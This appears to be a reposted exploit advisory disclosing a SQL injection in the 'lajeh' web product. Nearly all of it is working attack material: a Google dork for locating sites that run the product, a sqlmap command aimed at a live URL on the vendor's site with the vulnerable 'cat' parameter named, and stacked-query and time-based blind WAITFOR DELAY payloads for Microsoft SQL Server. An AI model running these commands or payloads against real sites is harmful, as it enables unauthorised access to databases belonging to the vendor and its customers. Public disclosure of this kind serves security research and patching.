lajeh - SQL Injection vulnerability
2024-7-13 02:31:29 Author: cxsecurity.com(查看原文) 阅读量:14 收藏

**************************** #Exploit Title: lajeh - SQL Injection vulnerability #Date: 2024-07-11 #Exploit Author: Mahdi Karimi #Vendor Homepage: https://www.lajeh.ir #Google Dork: "Powered by lajeh" #Tested On: Kali Linux sqlmap: python sqlmap.py -u "https://www.lajeh.ir/products.php?cat=16" -p cat --dbs Testing Method; - stacked queries - time-based blind Parameter: cat (GET) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: cat=16;WAITFOR DELAY '0:0:5'-- Type: time-based blind Title: Microsoft SQL Server/Sybase time-based blind (IF) Payload: cat=16 WAITFOR DELAY '0:0:5' --- ************************************************** #Discovered by: Mahdi Karimi #Email : [email protected] **************************************************


文章来源: https://cxsecurity.com/issue/WLB-2024070030
如有侵权请联系:admin#unsafe.sh